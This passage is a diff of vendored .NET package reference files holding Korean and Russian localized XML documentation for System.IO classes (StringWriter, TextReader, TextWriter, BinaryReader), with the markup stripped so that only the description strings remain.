+ 출력이 쓰여질 Encoding입니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 비동기적으로 지우면 버퍼링된 모든 데이터가 내부 장치에 쓰여집니다. + 비동기 플러시 작업을 나타내는 작업입니다. + + + 내부 를 반환합니다. + 내부 StringBuilder입니다. + 2 + + + 현재 StringWriter에 지금까지 쓰여진 문자가 포함된 문자열을 반환합니다. + 현재 StringWriter에 쓰여진 문자가 포함된 문자열입니다. + 2 + + + 문자를 문자열에 씁니다. + 쓸 문자입니다. + 작성기가 닫힌 경우 + 2 + + + 문자의 하위 배열을 문자열에 씁니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 또는 가 음수인 경우 + ( + )> 인 경우Length. + 작성기가 닫힌 경우 + 2 + + + 문자를 현재 문자열에 씁니다. + 쓸 문자열입니다. + 작성기가 닫힌 경우 + 2 + + + 문자를 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 문자열에 쓸 문자입니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열을 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자를 현재 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.가 null이면 텍스트 스트림에 아무 것도 쓰여지지 않습니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 문자열에 쓸 문자입니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 현재 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 쓰여집니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 여러 개의 문자를 순차적으로 읽을 수 있는 판독기를 나타냅니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 해당 개체에서 사용하는 리소스를 모두 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + TextReader에 읽을 데이터를 제공하지 않습니다. + 1 + + + 문자 소스나 판독기의 상태를 변경하지 않고 다음 문자를 읽습니다.판독기에서 실제로 읽지 않고 사용 가능한 다음 문자를 반환합니다. + 읽을 다음 문자를 나타내는 정수이거나, 사용할 수 있는 문자가 더 이상 없거나 판독기에서 검색을 지원하지 않을 경우 -1입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 텍스트 판독기에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + 텍스트 판독기의 다음 문자 또는 사용할 수 있는 문자가 더 이상 없는 경우 -1입니다.기본 구현된 경우에는 -1을 반환합니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 판독기에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 판독기 내에서 데이터를 사용할 수 있는지 여부에 따라 보다 작거나 같습니다.읽을 문자가 더 이상 없는 경우에 이 메서드를 호출하면 0이 반환됩니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 판독기의 끝에 도달하면 메서드가 반환됩니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 텍스트 판독기에서 지정된 최대 문자 수를 비동기적으로 읽어 이 데이터를 지정된 위치에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 텍스트의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 텍스트의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 텍스트 판독기에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 모든 입력 문자를 읽었는지 여부에 따라 보다 작거나 같습니다. + 이 메서드가 반환할 때 이 매개 변수에는 지정된 문자 배열의 값이 및 ( + -1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 들어 있습니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 텍스트 판독기에서 지정된 최대 문자 수를 비동기적으로 읽어 이 데이터를 지정된 위치에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 텍스트의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼로 읽어오기 전에 텍스트의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 텍스트 판독기에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 판독기의 다음 줄이거나 모든 문자를 읽은 경우 null입니다. + I/O 오류가 발생하는 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + + 가 닫힌 경우 + 다음 줄의 문자 수가 보다 큰 경우 + 1 + + + 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 텍스트 판독기의 다음 줄을 포함하거나 모든 문자가 읽혀진 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 읽어서 단일 문자열로 반환합니다. + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 포함하는 문자열입니다. + I/O 오류가 발생하는 경우 + + 가 닫힌 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 다음 줄의 문자 수가 보다 큰 경우 + 1 + + + 현재 위치에서 텍스트 판독기 끝까지의 모든 문자를 비동기적으로 읽어서 하나의 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 텍스트 판독기 끝까지의 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 텍스트 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 일련의 문자를 연속하여 쓸 수 있는 작성기를 나타냅니다.이 클래스는 추상 클래스입니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 서식 공급자를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 서식 지정을 제어하는 개체입니다. + + + 이 TextWriter에 사용한 줄 바꿈 문자를 저장합니다. + + + 해당 개체에서 사용하는 리소스를 모두 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 파생 클래스에서 재정의된 경우 출력을 쓰는 문자 인코딩을 반환합니다. + 출력을 쓰는 문자 인코딩입니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 지우면 버퍼링된 모든 데이터를 내부 장치에 씁니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 비동기적으로 지우면 버퍼링된 모든 데이터를 내부 장치에 씁니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 작성기를 현재 사용하고 있습니다. + + + 서식 지정을 제어하는 개체를 가져옵니다. + 특정 문화권에 대한 개체이거나, 다른 문화권을 지정하지 않은 경우 현재 문화권의 서식입니다. + 2 + + + 현재 TextWriter에서 사용한 줄 종결자 문자열을 가져오거나 설정합니다. + 현재 TextWriter의 줄 종결자 문자열입니다. + 2 + + + 쓸 수는 있지만 읽을 수는 없는 백업 저장소를 TextWriter에 제공하지 않습니다. + 1 + + + Boolean 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 Boolean 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자 배열을 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자 배열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 하위 배열을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 매개 변수가 null인 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 10진수 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 10진수 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 8바이트 부동 소수점 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 8바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 4바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 8바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 개체에 대해 ToString 메서드를 호출하여 해당 개체의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 개체입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 4바이트 부동 소수점 값의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 4바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자열을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 문자열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 1입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 2입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + 서식을 지정하고 쓸 세 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 3입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체를 0개 이상 포함하는 개체 배열입니다. + + 또는 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나 배열의 길이보다 크거나 같습니다. + 1 + + + 부호 없는 4바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 없는 8바이트 정수의 텍스트 표현을 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자 배열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자 배열입니다.가 null이면 아무 것도 쓰지 않습니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자열을 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.가 null이면 텍스트 스트림에 아무 것도 쓰지 않습니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 줄 종결자를 텍스트 문자열 또는 스트림에 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + Boolean 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 Boolean 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자와 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 텍스트 스트림에 쓸 문자입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 데이터를 읽을 문자 배열입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자의 하위 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 데이터를 읽을 문자 배열입니다. + 데이터 읽기를 시작하는 의 문자 위치입니다. + 쓸 최대 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 매개 변수가 null인 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 10진수 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 10진수 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 8바이트 부동 소수점 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 8바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 4바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 있는 8바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 있는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 개체에 대해 ToString 메서드를 호출하여 해당 개체의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 개체입니다.가 null이면 줄 종결자만 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 4바이트 부동 소수점 값의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 4바이트 부동 소수점 값입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 문자열입니다.가 null이면 줄 종결자만 씁니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 1입니다. + 1 + + + + 메서드와 동일한 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 텍스트 문자열이나 스트림에 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 2입니다. + 1 + + + + 과 같은 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 첫 번째 개체입니다. + 서식을 지정하고 쓸 두 번째 개체입니다. + 서식을 지정하고 쓸 세 번째 개체입니다. + + 가 null인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 형식 항목의 인덱스가 0보다 작거나, 형식을 지정할 개체의 수보다 크거나 같은 경우입니다. 즉, 이 메서드 오버로드의 경우는 3입니다. + 1 + + + + 과 같은 의미 체계를 사용하여 서식이 지정된 문자열과 새 줄을 씁니다. + 합성 형식 문자열입니다(설명 부분 참조). + 서식을 지정하고 쓸 개체를 0개 이상 포함하는 개체 배열입니다. + 문자열이나 개체가 null로 전달되는 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + 이 유효한 합성 서식 문자열이 아닙니다.또는 서식 항목의 인덱스가 0보다 작거나 배열의 길이보다 크거나 같습니다. + 1 + + + 부호 없는 4바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 4바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 부호 없는 8바이트 정수의 텍스트 표현과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 씁니다. + 쓸 부호 없는 8바이트 정수입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 줄 종결자를 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자입니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 텍스트 스트림에 쓸 문자 배열입니다.문자 배열이 null이면 줄 종결자만 씁니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 검색을 시작하는 버퍼의 문자 위치입니다. + 쓸 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 텍스트 문자열 또는 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 씁니다. + 텍스트 작성기가 삭제됩니다. + 이전 쓰기 작업에서 텍스트 작성기를 현재 사용하고 있습니다. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/ru/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.3/ru/System.IO.xml new file mode 100644 index 0000000..c4d59b1 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.3/ru/System.IO.xml @@ -0,0 +1,2023 @@ + + + + System.IO + + + + Считывает примитивные типы данных как двоичные значения в заданной кодировке. + 2 + + + Инициализирует новый экземпляр класса на основании указанного потока с использованием кодировки UTF-8. + Входной поток. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + + + Инициализирует новый экземпляр класса на основе указанного потока и кодировки символов. + Входной поток. + Кодировка символов, которую нужно использовать. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса на основе указанного потока и кодировки символов, а также при необходимости оставляет поток открытым. + Входной поток. + Кодировка символов, которую нужно использовать. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Поток не поддерживает чтение, имеет значение null или был закрыт до начала операции. + Параметр или имеет значение null. + + + Предоставляет доступ к базовому потоку объекта . + Базовый поток, связанный с объектом BinaryReader. + 2 + + + Освобождает все ресурсы, используемые текущим экземпляром класса . + + + Освобождает неуправляемые ресурсы, используемые классом (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Заполняет внутренний буфер указанным количеством байтов, которые были cчитаны из потока. + Количество байтов, чтение которых необходимо выполнить. + Конец потока достигнут раньше, чем было выполнено чтение байтов. + Ошибка ввода-вывода. + Запрошенное значение превышает размер внутреннего буфера. + + + Возвращает следующий доступный для чтения символ, не перемещая позицию байта или символа вперед. + Следующий доступный символ или значение -1, если в потоке больше нет символов, или поток не поддерживает поиск. + Ошибка ввода-вывода. + Текущий символ не может быт декодирован в буфер внутренних символов с помощью , выбранного для потока. + 2 + + + Выполняет чтение знаков из базового потока и перемещает текущую позицию в потоке вперед в соответствии с используемым значением Encoding и конкретным знаком в потоке, чтение которого выполняется в настоящий момент. + Следующий символ из входного потока или значение -1, если в настоящее время доступных символов нет. + Ошибка ввода-вывода. + Поток закрыт. + 2 + + + Считывает указанное количество байтов из потока, начиная с заданной точки в массиве байтов. + Количество байтов, считанных в .Количество символов может быть меньше указанного числа, если в потоке осталось меньше байтов, чем следует считать. Количество символов также может равняться нулю, если достигнут конец потока. + Буфер, в который должны считываться данные. + Стартовая точка в буфере, начиная с которой считываемые данные записываются в буфер. + Количество байтов, чтение которых необходимо выполнить. + Длина буфера за вычетом значения параметра меньше значения параметра . -или-Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает указанное количество символов из потока, начиная с заданной точки в массиве символов. + Общее количество символов, считанных в буфер.Количество символов может быть меньше указанного числа, если в потоке осталось меньше символов, чем следует прочитать. Количество символов также может равняться нулю, если достигнут конец потока. + Буфер, в который должны считываться данные. + Стартовая точка в буфере, начиная с которой считываемые данные записываются в буфер. + Число символов для чтения. + Длина буфера за вычетом значения параметра меньше значения параметра . -или-Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает 32-разрядное целое число в сжатом формате. + 32-разрядное целое число в сжатом формате. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + Поток поврежден. + + + Считывает значение Boolean из текущего потока и перемещает текущую позицию в потоке на один байт вперед. + Значение true, если байт не равен нулю; в противном случае — значение false. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает из текущего потока следующий байт и перемещает текущую позицию в потоке на один байт вперед. + Следующий байт, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает указанное количество байтов из текущего потока в массив байтов и перемещает текущую позицию на это количество байтов. + Массив байтов, в котором содержатся данные, считанные из базового потока.Если при чтении был достигнут конец потока, это число может быть меньше, чем количество запрошенных байтов. + Количество байтов, чтение которых необходимо выполнить.Это значение должно быть равно 0 или быть больше 0, иначе возникнет исключение. + Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Ошибка ввода-вывода. + Поток закрыт. + Значение отрицательно. + 2 + + + Считывает следующий знак из текущего потока и изменяет текущую позицию в потоке в соответствии с используемым значением Encoding и конкретным знаком в потоке, чтение которого выполняется в настоящий момент. + Символ, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + Выполнено чтение символа-заместителя. + 2 + + + Считывает указанное количество символов из текущего потока, возвращает данные в массив символов и перемещает текущую позицию в соответствии с используемой Encoding и определенным символом, считываемым из потока. + Массив символов, в котором содержатся данные, считанные из базового потока.Если при чтении был достигнут конец потока, это число может быть меньше, чем количество запрошенных символов. + Количество символов, которое необходимо считать. + Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Поток закрыт. + Ошибка ввода-вывода. + Значение 